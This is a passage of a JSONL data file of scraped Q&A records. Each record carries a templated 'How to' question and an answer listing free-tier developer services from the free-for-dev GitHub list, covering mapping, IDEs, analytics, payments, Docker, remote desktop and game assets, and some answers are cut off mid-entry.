(iOS and Android) for designers, developers, and product makers to reference.\n  * [Page Flows](https://pageflows.com/) - [Mobile / web videos and screenshots] Videos of full flows across many mobile and web apps. Also includes screenshots. Highly searchable and indexed.\n  * [Refero](https://refero.design/) - [Web screenshots] Tagged and searchable collection of design references from great web applications.\n  * [Screenlane](https://screenlane.com/) - [Mobile screenshots] Get inspired and keep up with the latest web & mobile app UI design trends. Filterable by pattern and app.\n  * [scrnshts](https://scrnshts.club/) - [Mobile screenshots] A hand-picked collection of the finest app store design screenshots.\n  * [Uiland Design](https://uiland.design/) - [Mobile screenshots] Explore Mobile and Web UI Designs from Leading Companies in Africa and the world.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601952"}
{"id": "gh_af3cf16702b3", "question": "How to: Data Visualization on Maps", "question_body": "About ripienaar/free-for-dev", "answer": "* [Clockwork Micro](https://clockworkmicro.com/) — Map tools that work like clockwork. Fifty thousand free monthly queries (map tiles, db2vector, elevation).\n  * [Foursquare](https://developer.foursquare.com/) - Location discovery, venue search, and context-aware content from Places API and Pilgrim SDK.\n  * [geoapify.com](https://www.geoapify.com/) - Vector and raster map tiles, geocoding, places, routing, isolines APIs. Three thousand free requests/day.\n  * [geocod.io](https://www.geocod.io/) — Geocoding via API or CSV Upload. Two thousand five hundred free queries/day.\n  * [geocodify.com](https://geocodify.com/) — Geocoding and Geoparsing via API or CSV Upload. 10k free queries/month.\n  * [geojs.io](https://www.geojs.io/) - Highly available REST/JSON/JSONP IP Geolocation lookup API.\n  * [Geokeo api](https://geokeo.com) - Geocoding API with language correction and more. Worldwide coverage. 2,500 free daily queries\n  * [graphhopper.com](https://www.graphhopper.com/) A free developer package is offered for Routing, Route Optimization, Distance Matrix, Geocoding, and Map Matching.\n  * [here](https://developer.here.com/) — APIs and SDKs for maps and location-aware apps. 250k transactions/month for free.\n  * [IP Geolocation](https://ipgeolocation.io/) — Free DEVELOPER plan available with 30K requests/month.\n  * [ipstack](https://ipstack.com/) - Locate and identify Website Visitors by IP Address\n  * [locationiq.com](https://locationiq.com/) — Geocoding, Maps, and Routing APIs. Five thousand requests/day for free.\n  * [mapbox.com](https://www.mapbox.com/) — Maps, geospatial services and SDKs for displaying map data.\n  * [maps.stamen.com](http://maps.stamen.com/) - Free map tiles and tile hosting.\n  * [maptiler.com](https://www.maptiler.com/cloud/) — Vector maps, map services and SDKs for map visualization. Free vector tiles with weekly updates and four map styles.\n  * [nominatim.org](https://nominatim.org/) — OpenStreetMap's free geocoding service, providing global address search functionality and reverse geocoding capabilities.\n  * [opencagedata.com](https://opencagedata.com) — Geocoding API aggregating OpenStreetMap and other open geo sources. Two thousand five hundred free queries/day.\n  * [osmnames](https://osmnames.org/) — Geocoding, search results ranked by the popularity of related Wikipedia page.\n  * [positionstack](https://positionstack.com/) - Free geocoding for global places and coordinates. 25,000 Requests per month for personal use.\n  * [stadiamaps.com](https://stadiamaps.com/) — Map tiles, routing, navigation, and other geospatial APIs. Two thousand five hundred free map views and API requests/day for non-commercial usage and testing.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601963"}
{"id": "gh_e43578d57134", "question": "How to: Package Build System", "question_body": "About ripienaar/free-for-dev", "answer": "* [build.opensuse.org](https://build.opensuse.org/) — Package build service for multiple distros (SUSE, EL, Fedora, Debian, etc.).\n  * [copr.fedorainfracloud.org](https://copr.fedorainfracloud.org) — Mock-based RPM build service for Fedora and EL.\n  * [help.launchpad.net](https://help.launchpad.net/Packaging) — Ubuntu and Debian build service.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601969"}
{"id": "gh_1ed360ab055c", "question": "How to: IDE and Code Editing", "question_body": "About ripienaar/free-for-dev", "answer": "* [Android Studio](https://developer.android.com/studio) — Android Studio provides the fastest tools for building apps on every type of Android device. Open Source IDE is free for everyone and the best Android app development. Available for Windows, Mac, Linux, and even ChromeOS!\n  * [AndroidIDE](https://m.androidide.com/) — An Open Source IDE to develop real, Gradle-based Android applications on Android devices.\n  * [Apache Netbeans](https://netbeans.apache.org/) — Development Environment, Tooling Platform and Application Framework.\n  * [apiary.io](https://apiary.io/) — Collaborative design API with instant API mock and generated documentation (Free for unlimited API blueprints and unlimited users with one admin account and hosted documentation).\n  * [BBEdit](https://www.barebones.com/) - BBEdit is a popular and extensible editor for macOS. Free Mode provides a [powerful core feature set](https://www.barebones.com/products/bbedit/comparison.html) and an upgrade path to advanced features.\n  * [Binder](https://mybinder.org/) - Turn a Git repo into a collection of interactive notebooks. It is a free public service.\n  * [BlueJ](https://bluej.org) — A free Java Development Environment designed for beginners, used by millions worldwide. Powered by Oracle & simple GUI to help beginners.\n  * [Bootify.io](https://bootify.io/) - Spring Boot app generator with custom database and REST API.\n  * [Brackets](http://brackets.io/) - Brackets is an open-source text editor specifically designed for web development. It is lightweight, easy to use, and highly customizable.\n  * [cacher.io](https://www.cacher.io) — Code snippet organizer with labels and support for 100+ programming languages.\n  * [cocalc.com](https://cocalc.com/) — (formerly SageMathCloud at cloud.sagemath.com) — Collaborative calculation in the cloud. Browser access to full Ubuntu with built-in collaboration and lots of free software for mathematics, science, data science, preinstalled: Python, LaTeX, Jupyter Notebooks, SageMath, scikitlearn, etc.\n  * [code.cs50.io](https://code.cs50.io/) - Visual Studio Code for CS50 is a web app at code.cs50.io that adapts GitHub Codespaces for students and teachers.\n  * [Code::Blocks](https://codeblocks.org) — Free Fortran & C/C++ IDE. Open Source and runs on Windows,macOS & Linux.\n  * [codepen.io](https://codepen.io/) — CodePen is a playground for the front-end side of the web.\n  * [codesandbox.io](https://codesandbox.io/) — Online Playground for React, Vue, Angular, Preact, and more.\n  * [codiga.io](https://codiga.io/) — Coding Assistant that lets you search, define, and reuse code snippets directly in your IDE. Free for individual and small organizations.\n  * [Components.studio](https://webcomponents.dev/) - Code components in isolation, visualize them in stories, test them, and publish them on npm.\n  * [Eclipse Che](https://www.eclipse.org/che/) - Web-based and Kubernetes-Native IDE for Developer Teams with multi-language support. Open Source and community-driven. An online instance hosted by Red Hat is available at [workspaces.openshift.com](https://workspaces.openshift.com/).\n  * [ForgeCode](https://forgecode.dev/) — AI-enabled pair programmer for Claude, GPT4 Series, Grok, Deepseek, Gemini and all frontier models. Works natively with your CLI and integrates seamlessly with any IDE. Free tier includes basic AI model access with local processing.\n  * [GetVM](https://getvm.io) — Instant free Linux and IDEs chrome sidebar. The free tier includes 5 VMs per day.\n  * [JDoodle](https://www.jdoodle.com) — Online compiler and editor for more than 60 programming languages with a free plan for REST API code compiling up to 200 credits per day.\n  * [jetbrains.com](https://jetbrains.com/products.html) — Productivity tools, IDEs and deploy tools (aka [IntelliJ IDEA](https://www.jetbrains.com/idea/), [PyCharm](https://www.jetbrains.com/pycharm/), etc). Free license for students, teachers, Open Source and user groups.\n  * [JSONPlaceholder](https://jsonplaceholder.typicode.com/) Some REST API endpoints that return some fake data in JSON format. The source code is also available if you would like to run the server locally.\n  * [Lazarus](https://www.lazarus-ide.org/) — Lazarus is a Delphi-compatible cross-platform IDE for Rapid Application Development.\n  * [MarsCode](https://www.marscode.com/) - A free AI-powered cloud-based IDE.\n  * [micro-jaymock](https://micro-jaymock.now.sh/) - Tiny API mocking microservice for generating fake JSON data.\n  * [mockable.io](https://www.mockable.io/) — Mockable is a simple configurable service to mock out RESTful API or SOAP web services. This online service allows you to quickly define REST API or SOAP endpoints and have them return JSON or XML data.\n  * [mockaroo](https://mockaroo.com/) — Mockaroo lets you generate realistic test data in CSV, JSON, SQL, and Excel formats. You can also create mocks for back-end API.\n  * [Mocklets](https://mocklets.com) - an HTTP-based mock API simulator that helps simu", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601989"}
{"id": "gh_eb90f7ea4c5b", "question": "How to: Analytics, Events and Statistics", "question_body": "About ripienaar/free-for-dev", "answer": "* [amplitude.com](https://amplitude.com/) — 1 million monthly events, up to 2 apps\n  * [AppFit](https://appfit.io) - AppFit is a comprehensive analytics and product management tool designed to facilitate seamless, cross-platform management of analytics and product updates. Free plan includes 10,000 events per month, product journal and weekly insights.\n  * [Aptabase](https://aptabase.com) — Open Source, Privacy-Friendly, and Simple Analytics for Mobile and Desktop Apps. SDKs for Swift, Kotlin, React Native, Flutter, Electron, and many others. Free for up to 20,000 events per month.\n  * [Avo](https://avo.app/) — Simplified analytics release workflow. Single-source-of-truth tracking plan, type-safe analytics tracking library, in-app debuggers, and data observability to catch all data issues before you release. Free for two workspace members and 1 hour data observability lookback.\n  * [Beampipe.io](https://beampipe.io) - Beampipe is simple, privacy-focussed web analytics. free for up to 5 domains & 10k monthly page views.\n  * [Census](https://www.getcensus.com/) — Reverse ETL & Operational Analytics Platform. Sync 10 fields from your data warehouse to 60+ SaaS like Salesforce, Zendesk, or Amplitude.\n  * [Clicky](https://clicky.com) — Website Analytics Platform. Free Plan for one website with 3000 views analytics.\n  * [counter.dev](https://counter.dev) — Web analytics made simple and therefore privacy friendly. Free or pay what you want by donation.\n  * [DocBeacon](https://docbeacon.io) - Secure document sharing with document tracking and engagement Analytics. Free plan supports up to 20 PDF documents (10 MB max), 10 contacts, and 2 shares per document with basic analytics for views downloads, time and engagement.\n  * [Dwh.dev](https://dwh.dev) - Data Cloud Observability Solution (Snowflake). Free for personal use.\n  * [Expensify](https://www.expensify.com/) — Expense reporting, free personal reporting approval workflow\n  * [getinsights.io](https://getinsights.io) - Privacy-focused, cookie-free analytics, free for up to 3k events/month.\n  * [GoatCounter](https://www.goatcounter.com/) — GoatCounter is an open-source web analytics platform available as a hosted service (free for non-commercial use) or self-hosted app. It aims to offer easy-to-use and meaningful privacy-friendly web analytics as an alternative to Google Analytics or Matomo. The free tier is for non-commercial use and includes unlimited sites, six months of data retention, and 100k pageviews/month.\n  * [Google Analytics](https://analytics.google.com/) — Google Analytics\n  * [heap.io](https://heap.io) — Automatically captures every user action in iOS or web apps. Free for up to 10K monthly sessions.\n  * [Hightouch](https://hightouch.com/) - Hightouch is a Reverse ETL platform that helps you sync customer data from your data warehouse to your CRM, marketing, and support tools. The free tier offers you one destination to sync data to.\n  * [Hotjar](https://hotjar.com) — Website Analytics and Reports . Free Plan allows 2000 pageviews/day. One hundred snapshots/day (max capacity: 300). Three snapshot heatmaps can be stored for 365 days. Unlimited Team Members. Also in App and standalone surveys, feedback widgets with screenshots. Free tier allows creating 3 surveys & 3 feedback widgets and collecting 20 responses per month.\n  * [LogSpot](https://logspot.io) - Full unified web and product analytics platform, including embeddable analytics widgets and automated robots (slack, telegram, and webhooks). Free plan includes 10,000 events per month.\n  * [MetricsWave](https://metricswave.com) — Privacy-friendly Google Analytics alternative for developers. Free plan allows 1M pageviews per month without credit card required.\n  * [Mixpanel](https://mixpanel.com/) — 100,000 monthly tracked users, unlimited data history and seats, US or EU data residency\n  * [Moesif](https://www.moesif.com) — API analytics for REST and GraphQL. (Free up to 500,000 API calls/mo)\n  * [PostHog](https://posthog.com) - Full Product Analytics suite free for up to 1m tracked events per month. Also provides unlimited in-App Surveys with 250/month responses.\n  * [Repohistory](https://repohistory.com) - Beautiful dashboard for tracking GitHub repo traffic history longer than 14 days. Free Plan allows users to monitor traffic for a single repository.\n  * [Row Zero](https://rowzero.io) - Blazingly fast, connected spreadsheet. Connect directly to data databases, S3, and APIs. Import, analyze, graph, and share millions of rows instantly. Three free (forever) workbooks.\n  * [Rybbit](https://rybbit.io) - Open-source and cookieless alternative to Google Analytics that is 10x more intuitive. Free plans has 3,000 monthly events.\n  * [Seline](https://seline.so) - Seline is a simple & private website and product analytics. Cookieless, lightweight, independent. Free plan includes 3,000 events per month and provides access to all our features, such as the dashboard, user journeys, funnels, and more.\n  * [S", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602010"}
{"id": "gh_9c5afc47e5d0", "question": "How to: International Mobile Number Verification API and SDK", "question_body": "About ripienaar/free-for-dev", "answer": "* [numverify](https://numverify.com/) — Global phone number validation and lookup JSON API. 100 API requests/month\n  * [veriphone](https://veriphone.io/) — Global phone number verification in a free, fast, reliable JSON API. 1000 requests/month\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602024"}
{"id": "gh_d9573460d7e1", "question": "How to: Payment and Billing Integration", "question_body": "About ripienaar/free-for-dev", "answer": "* [Adapty.io](https://adapty.io/) – One-stop solution with open-source SDK for mobile in-app subscription integration to iOS, Android, React Native, Flutter, Unity, or web app. Free up to $10k monthly revenue.\n  * [CoinMarketCap](https://coinmarketcap.com/api/) — Provides cryptocurrency market data including the latest crypto and fiat currency exchange rates. The free tier offers 10K call credits/month.\n  * [Currencyapi](https://currencyapi.com) — Free currency conversion and exchange rate data API. Free 300 requests per month, 10 requests per minute for private use.\n  * [CurrencyApi](https://currencyapi.net/) — Live Currency Rates for Physical and Cryptocurrencies, delivered in JSON and XML. The free tier offers 1,250 API requests/month.\n  * [CurrencyFreaks](https://currencyfreaks.com/) — Provides current and historical currency exchange rates. Free DEVELOPER plan available with 1000 requests/month.\n  * [currencylayer](https://currencylayer.com/) — Reliable Exchange Rates and Currency Conversion for your Business, 100 API requests/month free.\n  * [exchangerate-api.com](https://www.exchangerate-api.com) - An easy-to-use currency conversion JSON API. The free tier updates once per day with a limit of 1,500 requests/month.\n  * [FraudLabsPRO](https://www.fraudlabspro.com) — Help merchants to prevent payment fraud and chargebacks. Free Micro Plan available with 500 queries/month.\n  * [FxRatesAPI](https://fxratesapi.com) — Provides real-time and historical exchange rates. The free tier requires attribution.\n  * [Moesif API Monetization](https://www.moesif.com/) - Generate revenue from APIs via usage-based billing. Connect to Stripe, Chargebee, etc. The free tier offers 30,000 events/month.\n  * [ParityVend](https://www.ambeteco.com/ParityVend/) – Automatically adjust pricing based on visitor location to expand your business globally and reach new markets (purchasing power parity). The free plan includes 7,500 API requests/month.\n  * [Qonversion](http://qonversion.io/) - All-in-one cross-platform subscription management platform offering analytics, A/B testing, Apple Search Ads, remote configs, and growth tools for optimizing in-app purchases and monetization. Compatible with iOS, Android, React Native, Flutter, Unity, Cordova, Stripe, and web. Free up to $10k in monthly tracked revenue.\n  * [RevenueCat](https://www.revenuecat.com/) — Hosted backend for in-app purchases and subscriptions (iOS and Android). Free up to $2.5k/mo in tracked revenue.\n  * [vatlayer](https://vatlayer.com/) — Instant VAT number validation and EU VAT rates API, free 100 API requests/month\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602035"}
{"id": "gh_81952124fab3", "question": "How to: Docker Related", "question_body": "About ripienaar/free-for-dev", "answer": "* [Container Registry Service](https://container-registry.com/) - Harbor based Container Management Solution. The free tier offers 1 GB of storage for private repositories.\n  * [Docker Hub](https://hub.docker.com) — One free private repository and unlimited public repositories to build and store Docker images\n  * [Play with Docker](https://labs.play-with-docker.com/) — A simple, interactive, fun playground to learn Docker.\n  * [quay.io](https://quay.io/) — Build and store container images with unlimited free public repositories\n  * [ttl.sh](https://ttl.sh/) - Anonymous & ephemeral Docker image registry\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602041"}
{"id": "gh_1ff6ce369965", "question": "How to: Dev Blogging Sites", "question_body": "About ripienaar/free-for-dev", "answer": "* [AyeDot](https://ayedot.com/) — Share your ideas, knowledge, and stories with the world for Free in the form of Modern multimedia short-format Miniblogs.\n  * [BearBlog](https://bearblog.dev/) - Minimalist, Markdown-powered blog and website builder.\n  * [Dev.to](https://dev.to/) - Where programmers share ideas and help each other grow.\n  * [Hashnode](https://hashnode.com/) — Hassle-free Blogging Software for Developers!.\n  * [Medium](https://medium.com/) — Get more thoughtful about what matters to you.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602047"}
{"id": "gh_2cb049cfb91e", "question": "How to: Commenting Platforms", "question_body": "About ripienaar/free-for-dev", "answer": "* [GraphComment](https://graphcomment.com/) - GraphComment is a comments platform that helps you build an active community from the website’s audience.\n  * [IntenseDebate](https://intensedebate.com/) - A feature-rich comment system for WordPress, Tumblr, Blogger, and many other website platforms.\n  * [Remarkbox](https://www.remarkbox.com/) - Open source hosted comments platform, pay what you can for \"One moderator on a few domains with complete control over behavior & appearance\"\n  * [Utterances](https://utteranc.es/) - A lightweight comments widget built on GitHub issues. Use GitHub issues for blog comments, wiki pages, and more!\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602053"}
{"id": "gh_3739e0d9deeb", "question": "How to: Screenshot APIs", "question_body": "About ripienaar/free-for-dev", "answer": "* [ApiFlash](https://apiflash.com) — A screenshot API based on Aws Lambda and Chrome. Handles full page, captures timing, and viewport dimensions.\n  * [microlink.io](https://microlink.io/) – It turns any website into data such as metatags normalization, beauty link previews, scraping capabilities, or screenshots as a service. 250 requests/day every day free.\n  * [PhantomJsCloud](https://PhantomJsCloud.com) — Browser automation and page rendering.  Free Tier offers up to 500 pages/day.  Free Tier since 2017.\n  * [screenshotbase.com](https://screenshotbase.com) - 300 free screenshots / month. Take screenshots from any url. Fast, free & scalable.\n  * [screenshotlayer.com](https://screenshotlayer.com/) — Capture highly customizable snapshots of any website. Free 100 snapshots/month\n  * [screenshotmachine.com](https://www.screenshotmachine.com/) — Capture 100 snapshots/month, png, gif and jpg, including full-length captures, not only home page\n  * [thumbnail.ws](https://thumbnail.ws) — API for generating thumbnails of websites. Free 1,000 requests/month.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602060"}
{"id": "gh_81aca28f09cd", "question": "How to: Flutter Related and Building IOS Apps without Mac", "question_body": "About ripienaar/free-for-dev", "answer": "* [CodeMagic](https://codemagic.io/) - Codemagic is a fully hosted and managed CI/CD for mobile apps. You can build, test, and deploy with a GUI-based CI/CD tool. The free tier offers 500 free minutes/month and a Mac Mini instance with 2.3 GHz and 8 GB of RAM.\n  * [FlutLab](https://flutlab.io/) - FlutLab is a modern Flutter online IDE and the best place to create, debug, and build cross-platform projects. Build iOS (Without a Mac) and Android apps with Flutter.\n  * [FlutterFlow](https://flutterflow.io/) -  FlutterFlow is a browser-based drag-and-drop interface to build mobile app using flutter.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602066"}
{"id": "gh_3e346c8189a7", "question": "How to: Browser-based hardware emulation written in Javascript", "question_body": "About ripienaar/free-for-dev", "answer": "* [Jor1k](https://s-macke.github.io/jor1k/demos/main.html) —  an OpenRISC virtual machine capable of running Linux with network support.\n  * [JsLinux](https://bellard.org/jslinux) — a really fast x86 virtual machine capable of running Linux and Windows 2k.\n  * [v86](https://copy.sh/v86) — an x86 virtual machine capable of running Linux and other OS directly into the browser.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602072"}
{"id": "gh_995fefc44f50", "question": "How to: Privacy Management", "question_body": "About ripienaar/free-for-dev", "answer": "* [Bearer](https://www.bearer.sh/) - Helps implement privacy by design via audits and continuous workflows so that organizations comply with GDPR and other regulations. The free tier is limited to smaller teams and the SaaS version only.\n  * [Concord](https://www.concord.tech/) - Full data privacy platform, including consent management, privacy request handling (DSARs), and data mapping. Free tier includes core consent management features and they also provide a more advanced plan for free to verified open source projects.\n  * [Cookiefirst](https://cookiefirst.com/) - Cookie banners, auditing, and multi-language consent management solution. The free tier offers a one-time scan and a single banner.\n  * [Iubenda](https://www.iubenda.com/) - Privacy and cookie policies and consent management. The free tier offers limited privacy and cookie policy as well as cookie banners.\n  * [Ketch](https://www.ketch.com/) - Consent management and privacy framework tool. The free tier offers most features with a limited visitor count.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602079"}
{"id": "gh_02769e348fea", "question": "How to: Miscellaneous", "question_body": "About ripienaar/free-for-dev", "answer": "* [BackgroundStyler.com](https://backgroundstyler.com) - Create aesthetic screenshots of your code, text or images to share on social media.\n  * [Base64 decoder/encoder](https://devpal.co/base64-decode/) — Online free tool for decoding & encoding data.\n  * [BinShare.net](https://binshare.net) - Create & share code or binaries. Available to share as a beautiful image e.g. for Twitter / Facebook post or as a link e.g. for chats or forums.\n  * [Blynk](https://blynk.io) — A SaaS with API to control, build & evaluate IoT devices. Free Developer Plan with 5 devices, Free Cloud & data storage. Mobile Apps are also available.\n  * [Bricks Note Calculator](https://free.getbricks.app/) - a note-taking app (PWA) with a powerful built-in multiline calculator.\n  * [Carbon.now.sh](https://carbon.now.sh) - create and share code snippets in an aesthetic screenshot-like image format. Usually used to aesthetically share/show off code snippets on Twitter or blog posts.\n  * [Code Time](https://www.software.com/code-time) - an extension for time-tracking and coding metrics in VS Code, Atom, IntelliJ, Sublime Text, and more.\n  * [Codepng](https://www.codepng.app) - Create excellent snapshots from your source code to share on social media.\n  * [CodeToImage](https://codetoimage.com/) - Create screenshots of code or text to share on social media.\n  * [cron-job.org](https://cron-job.org) - Online cronjobs service. Unlimited jobs are free of charge.\n  * [Cronhooks](https://cronhooks.io/) - Schedule on-time or recurring webhooks. The free plan allows 5 ad-hoc schedules.\n  * [datelist.io](https://datelist.io) - Online booking / appointment scheduling system. Free up to 5 bookings per month, includes 1 calendar\n  * [Domain Forward](https://domain-forward.com/) - A straightforward tool to forward any URL or Domain. Free up to 5 domains and 200k requests per month.\n  * [Exif Editor](https://exifeditor.io/) — View, Edit, Scrub, Analyze image/photo metadata in-browser instantly - including GPS location and metadata.\n  * [Format Express](https://www.format-express.dev) - Instant online format for JSON / XML / SQL.\n  * [FOSSA](https://fossa.com/) - Scalable, end-to-end management for third-party code, license compliance and vulnerabilities.\n  * [Hook Relay](https://www.hookrelay.dev/) - Add webhook support to your app without the hassles: done-for-you queueing, retries with backoff, and logging. The free plan has 100 deliveries per day, 14-day retention, and 3 hook endpoints.\n  * [Hosting Checker](https://hostingchecker.co) - Check hosting information such as ASN, ISP, location and more for any domain, website or IP address. Also includes multiple hosting and DNS-related tools.\n  * [newreleases.io](https://newreleases.io/) - Receive notifications on email, Slack, Telegram, Discord, and custom webhooks for new releases from GitHub, GitLab, Bitbucket, Python PyPI, Java Maven, Node.js NPM, Node.js Yarn, Ruby Gems, PHP Packagist, .NET NuGet, Rust Cargo and Docker Hub.\n  * [OnlineExifViewer](https://onlineexifviewer.com/) — View EXIF data online instantly for a photo including GPS location and metadata.\n  * [PDFMonkey](https://www.pdfmonkey.io/) — Manage PDF templates in a dashboard, call the API with dynamic data, and download your PDF. Offers 300 free documents per month.\n  * [Pika Code Screenshots](https://pika.style/templates/code-image) — Create beautiful, customizable screenshots from code snippets and VSCode using the extension.\n  * [QuickType.io](https://quicktype.io/) - Quickly auto-generate models/class/type/interface and serializers from JSON, schema, and GraphQL for working with data quickly & safely in any programming language. Convert JSON into gorgeous, typesafe code in any language.\n  * [RandomKeygen](https://randomkeygen.com/) - A free mobile-friendly tool that offers a variety of randomly generated keys and passwords you can use to secure any application, service, or device.\n  * [ray.so](https://ray.so/) - Create beautiful images of your code snippets.\n  * [readme.com](https://readme.com/) — Beautiful documentation made easy, free for Open Source.\n  * [redirect.pizza](https://redirect.pizza/) - Easily manage redirects with HTTPS support. The free plan includes 10 sources and 100,000 hits per month.\n  * [redirection.io](https://redirection.io/) — SaaS tool for managing HTTP redirections for businesses, marketing and SEO.\n  * [Renamer.ai](https://renamer.ai) — AI-powered file renaming tool with OCR, metadata extraction, and automation for 20+ languages. Free tier: 15 files/month, including desktop app, batch rename, auto-rename, and normal support.\n  * [ReqBin](https://reqbin.com/) — Post HTTP Requests Online. Popular Request Methods include GET, POST, PUT, DELETE, and HEAD. Supports Headers and Token Authentication. Includes a basic login system for saving your requests.\n  * [Smartcar API](https://smartcar.com) - An API for cars to locate, get fuel tank, battery levels, odometer, unlock/lock doors, etc.\n  * [snappify](https://snapp", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602099"}
{"id": "gh_20d58248dee3", "question": "How to: Remote Desktop Tools", "question_body": "About ripienaar/free-for-dev", "answer": "* [AnyDesk](https://anydesk.com) —  Free for 3 devices, no limits on the number and duration of sessions\n  * [Getscreen.me](https://getscreen.me) —  Free for 2 devices, no limits on the number and duration of sessions\n  * [RemSupp](https://remsupp.com) — On-demand support and permanent access to devices (2 sessions/day for free)\n  * [RustDesk](https://rustdesk.com/) - Open source virtual/remote desktop infrastructure for everyone!\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602105"}
{"id": "gh_42d45137f74c", "question": "How to: Game Development", "question_body": "About ripienaar/free-for-dev", "answer": "* [3Dassets.one](https://3dassets.one/) - Over 8,000 free/paid 3D models, and PBR materials for making textures.\n  * [ArtStation](https://www.artstation.com/) - MarketPlace for Free/Paid 2D, 3D assets & audios, icons, tile sets, game kits. Also, It can be used for showcasing your art portfolio.\n  * [CraftPix](https://craftpix.net) — Free/Paid assets like 2D, 3D, Audio, GUI, backgrounds, icons, tile sets, game kits.\n  * [Freesound](https://freesound.org/) - Free collaborative sound library offerer with different CC licenses.\n  * [Game Icons](https://game-icons.net/) - Free styleable SVG/PNG icons provided under a CC-BY license.\n  * [GameDevMarket](https://gamedevmarket.net) — Free/Paid assets like 2D, 3D, Audio, GUI.\n  * [Gamefresco.com](https://gamefresco.com/) — Discover, collect, and share free game assets from game artists everywhere.\n  * [itch.io](https://itch.io/game-assets) — Free/Paid assets like sprites, tile sets, and character packs.\n  * [Kenney](https://www.kenney.nl/assets/) - Free (CC0 1.0 Universal licensed) 2D, 3D, Audio, and UI game assets.\n  * [LoSpec](https://lospec.com/) — Online tools for creating pixel art and other restrictive digital art, lots of tutorials/pallet list available to choose from for your games\n  * [OpenGameArt](https://opengameart.org) — OpenSource Game Assets like music, sounds, sprites, and gifs.\n  * [Poliigon](https://www.poliigon.com/) - Free and paid textures (with variable resolution), models, HDRIs, and brushes. Offers free plugins to export to software like Blender.\n  * [Poly Pizza](https://poly.pizza/) - Free low poly 3D assets\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602114"}
